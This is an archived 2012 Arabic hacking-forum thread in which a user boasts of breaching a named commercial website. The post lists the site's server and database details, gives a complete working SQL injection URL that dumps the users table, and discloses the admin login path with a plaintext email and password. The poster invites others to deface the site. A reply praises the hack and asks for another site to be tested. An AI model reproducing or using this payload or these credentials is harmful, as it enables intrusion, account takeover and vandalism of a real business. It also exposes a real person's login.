:: vBspiders Professional Network ::

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)
-   SQL قواعد البيانات (http://www.vbspiders.com/vb/forumdisplay.php?f=133)
-   -   اختراق مع تفاصيل السيرفر كامله+مسار الادمن والباسورد bevolo.com (http://www.vbspiders.com/vb/showthread.php?t=62590)

KOOBAN 05-30-2012 03:11 AM

اختراق مع تفاصيل السيرفر كامله+مسار الادمن والباسورد bevolo.com
 
السلام عليكم

تفضلوا

تفاصيل السيرفر :biggrin:

كود:

Target:        http://www.bevolo.com/product.php?cat_id=13
Host IP:        64.150.185.182
Web Server:    Microsoft-IIS/7.5
Powered-by:    PHP/5.2.13
Powered-by:    ASP.NET
DB Server:    MySQL >=5
Resp. Time(avg):    1428 ms
Current User:    bev_admin_uzer@localhost
Sql Version:    5.0.45-community-nt
Current DB:    bevolo
System User:    bev_admin_uzer@localhost
Host Name:    DS24602
Installation dir:    C:\Program Files (x86)\Parallels\Plesk\Databases\MySQL
DB User:    'bev_admin_uzer'@'%'
Data Bases:    information_schema
        bevolo
        test

الحقنه كامله :biggrin:

كود:

http://www.bevolo.com/product.php?cat_id=13%20and%201=0%20union%20%20select%201,2,3,4,group_concat%28user_id,0x3a,users.email,0x3a,password%29,6%20from%20users%20--%20-
مسار الادمن والباسورد للدخول :biggrin:

كود:

http://www.bevolo.com/bvl_admin/index.php
USERNAME:chris@bevolo.com
PASSWORD:tigersby6

نتمنى وضع انكدس لاحد الاخوه :icon30:

أمير غزة 06-08-2012 05:52 PM

رد: اختراق مع تفاصيل السيرفر كامله+مسار الادمن والباسورد bevolo.com
 
رائعة وكتير حلوة لو طلبت منك تشوفلي هالموقع بتقدر ؟
تشوف الثغرة بتمشي عليه ولا لأ ؟


الساعة الآن 05:21 AM


[ vBspiders.Com Network ]


SEO by vBSEO 3.6.0